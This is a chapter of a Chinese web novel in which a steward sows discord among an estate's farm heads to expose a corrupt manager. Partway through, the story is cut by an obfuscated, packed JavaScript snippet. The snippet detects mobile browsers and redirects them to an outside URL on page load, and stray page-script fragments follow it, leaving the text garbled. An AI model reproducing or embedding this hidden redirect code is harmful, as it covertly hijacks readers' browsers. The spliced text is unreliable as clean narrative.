74. 离间
作品:《兄长不仁》 盛长晚的话恰如穿树而过的疾风,扑入温逐月的耳中。
温逐月愣了愣:“方府管家怎么了?”
盛长晚想起还未同温逐月细说过国子司业的案子,便长话短说了。
“方大人一家都死了,偏得这个郑管家逃出来了。大家都说,是他杀了方大人再放火烧了方家,不然这么大的火,凭他一人怎么能逃出来?不过从三月开始,便一直在找他,可也不知道他躲去了哪里,如今找是找到了,人却死了。”
那日跟着裴扬雨到了文兴码头,好像也隐隐听到郑华炽的名字。温逐月当时没留心,只记得好像听竹声向裴扬雨报了一句死讯。
温逐月简单想了想,很快知道了裴扬雨与这桩案子的关联。
刑部要查的案子,要找的人,被裴扬雨横插一脚也就算了,偏得这个人犯还在他眼前死了。
若是人犯还活着,裴扬雨便是越职之罪,若是人犯死了,他便罪加一等,多了一个看护不力的罪名。无论结果如何,裴扬雨只要碰了这个案子,自是有人数着罪名扣在他头上。
盛长晚絮絮道:“这下好了,你和我都听到了,他亲口说出她妹妹窝藏人犯的事。单单是这一桩罪名,便够他们家喝一壶了。兴许还没等我们跟他算账,他们已经进牢里了。”
温逐月摇了摇头,“阿照,单凭我们二人的证词,无法令人信服。若想借此事打倒他,怕是难成。这件事先搁着再查,眼下还是要解决庄子上田税的事才好。”
盛长晚将温逐月扶起来,“你放心,我阿娘已经得了消息,明日她会派个得力的人手过来帮我们,我们便只管安心好了。”
翌日天明,田庄外又传来车马的声音。施管事听到消息,心里踌躇,以为是盛长晚传信回家,让府上派人过来对付他。
施管事不知是谁亲自来了,但知道来者不善,也不敢怠慢,恭恭敬敬地等在马车外边候着,看看究竟是谁从马车下来。
毕竟伸手不打笑脸人,就算是要找麻烦,凭他礼数周全,也不可能立时三刻便当面发作。那一切便还有回旋的余地。
马车车帘掀开后,施管事见是个老妇下了马车。只见她穿着光鲜,发髻梳得规规整整,虽然她上了年纪,却不见半分慈色,倒像是不苟言笑的老嬷嬷。这老妇身边还跟着几个女使,看起来排场不小。
施管事琢磨不清她的身份,却见那老妇缓步走上前来了。
施管事收起打量的目光,笑着问道:“见过这位妈妈,我是田庄的施管事,不知妈妈是哪里来的人?”
老妇冷冷瞥了他一眼,报出名号:“我是盛府上管事的李妈妈。夫人不放心二位娘子,怕她们在庄子上住不惯,特意派我来此照顾娘子们的起居饮食。”
知道她不是为了田租的事来的,施管事心里松了一口气,笑道:“二位娘子金尊玉贵,我手底下的人粗陋惯了,也服侍不好二位娘子,亏得李妈妈来了,也好指点一二。”
李妈妈不吃他这奉承的客套话,冷哼一声:“我既然来了,便无需你们多嘴过问了,我心中自有数。”
闻言,李妈妈愣是没有给施管事半分面子,便径直走进庄子了。
露清听见动静走出去,见是李妈妈来了,立刻进屋回禀:“娘子,夫人将李妈妈派来了。”
盛长晚心中算是有了个底。李妈妈是府上最得力的管事,大大小小的事务她都管得妥妥帖帖,因她管事爽利,规矩严明,府中上下的女使小厮,没有一个不服她的,家宅内便少了许多女使小厮勾心斗角,划分阵营的腌臜事。
李妈妈向盛长晚和温逐月两人见礼后,又听盛长晚将查探到事情一一向她告知。
从盛夫人手中接到这件差事后,李妈妈也派人将施管事的底细调查清楚了,她道:“娘子,来前我也打听过,这个姓施的在城里有六套宅子,孩子也送去最好的学堂念书上学。单单购入那三套宅子,花销可不小,凭他的月钱,即便是挣个八年,也只能在城里买两三套宅子。他能攒下这么多钱,必定是有问题的。”
盛长晚道:“李妈妈,那你可有什么方法治他?”
李妈妈不急不忙回话:“娘子,我打听过了,这个施管事有个妹妹,从前是在宫里服侍过裴妃的。自裴妃去后,他的妹妹便被放出宫了,他也依着她妹妹从前在宫中服侍的由头,对外夸口炫耀,招摇撞骗。”
“他这妹妹,确实是裴妃手底下管事的宫女,颇有几分面子。若我们贸然动他,他必定会将他妹妹搬出来挡刀子,那这样一来,可就难办了。眼下最要紧的,不是看我们要做什么,而是要看他们做什么。”
见盛长晚和温逐月都没听明白,李妈妈解释道:“独木难成林。想要治他,必先得让他们内部乱了,借由他们自己将丑事说出来才好。姓施的手底下有五个庄头,都是听他命令行事的,昧下的田租,他们肯定也分得了一杯羹。”
“只是狼多肉少,只要稍加挑拨,就定然会有人不满。不满,就必然会闹事。这样一来,四处便会乱糟糟的,我们再挑动佃户趁乱当众道出实情,他们就算想瞒也瞒不住。”
田庄里,最好说话的人莫过于一个姓陈的庄头。李妈妈指派护卫去同他说话扯闲,不到半日便同他熟络起来。一时兴起下,陈庄头主动邀请几个护卫今夜到他家里同其他几个庄头一起喝酒。
一坛酒过后,几个庄头都喝得醉醺醺的。
护卫里有人喝得面色通红,举杯道:“这样好喝的酒,若不是托了几位庄头的福,我们弟兄几人不知道何时才能喝得上。”
陈庄头给他又倒了一海碗,拍拍胸脯道:“这酒便算是好酒了?我看你是没喝过施管事的桃花醉,那一坛可值三十两白银,若非是秋末春分收税钱,他高兴,平日也不会拿出来给我们喝。”
一个名叫钟鑫的护卫,面醉心不醉,仔细留心听着,不经意道:“三十两银子的酒,那得有多好喝?我在盛府可没喝过这样的好酒。也是庄头们有福喝过,不知道是什么味道。”
陈庄头咂咂舌,好像在回想桃花醉的酒味:“就这么跟你说吧,入口醇香绵滑,唇齿留香,嘴里满是桃花的香气。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807668|181261||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
钟鑫道:“看来确实是好酒,才能让陈庄头念念不忘。施管事对你们真好,跟着他,吃香的喝辣的,我也不想在盛府当差了,跟着几位庄头岂不活得更自在?”
“他好,好个屁。”叶庄头拍桌而起,像是颇有怨言:“若不是仗着他妹妹,谁会卖他这个面子?”
其他几个庄头见他说话说得过火了,忙按下他的肩膀:“你喝大了,说得都是醉话,别再喝了。”
叶庄头甩开架在他肩膀的手,嚷嚷道:“我又没说错,你们说,我说错了吗?他妹妹是宫里得力的宫女,连皇帝也要卖他面子,这话我都听得起茧子了。婵娘服侍的主子都死去这么多年了,谁还记得她?姓施的也只能骗骗你们这些无知小辈,骗不了我。”
陈庄头也道:“阿叶说得对,他什么也不是,若不是我们为他卖命,他能贪下这么多钱?他抽十成利,便分给我们一成,剩下的都留着买宅子养外室了,偏得我们干得大汗淋漓,招惹白眼,他却坐享其成。”
钟鑫假意维护施管事,为难道:“叶庄头,陈庄头,此事不好乱说的。施管事是循规矩收田租的,这七八年里,依样将租钱上交盛府,也没出过什么问题。若是传到他耳中了,恐怕会对你们不利。”
叶庄头冷嗤一声:“小兄弟,我不怕他,也不怕说他。他交上去的账目都是假的,真账目藏在他屋子里锁着,他贪了多少钱,谁知道呢?那些佃农若敢声张闹事,他便杀鸡儆猴动手打死几个,谁敢说话?我看,真要把事捅到盛大人面前,他的那一点薄面又有谁稀罕?”
陈庄头饮尽一杯酒,喊道:“对,我们为他卖命,他却抽这么多利。这不公平,凭什么钱都让他一个人赚了?”
其他几个庄头听后,也觉得是这个道理,便也放宽了心胸,细数施管事的罪状。
酒坛子一坛坛喝空了,五个庄头也醉得不成样子了。
钟鑫适时又添了一把火:“几位庄头,我真为你们抱不平。凭什么他施管事收这么多钱,你们却只能得这么些钱。他连最基本的道义都不讲,你们还要给他面子,几位真是大度。不过这田庄还是他管事,几位的醉话可别放大声了说,若是被听见了,施管事就会来找你们麻烦了。”
叶庄头的火气像是蹭一下就冒上来了,他立刻跳起来,拍桌喊道:“我们怎么会怕他?你说得对,我们只得了这么些钱,凭什么要尊他敬他。我们现在便去找他,让他将贪下的一半钱都分给我们。这是一件丑事,趁着盛娘子在田庄上,我们快些闹起来,我谅他也不敢不答应。”
被叶庄头这么一怂恿,其他几个人的胆子好像也变大了。他们踉踉跄跄地离开酒桌,骂骂咧咧地走出屋外,很快便找到了施管事的门前。
“姓施的,你这个黑心货,快把骗来的钱还给我们。”
“大家都快来看,这个姓施的,一直在骗你们的租钱。他简直就不是个人,若你们还有些血性,就快跟我们一道把钱要回来。”
施管事听见外面闹哄哄的动静,急匆匆地推门,见是几个醉汉围在门前。

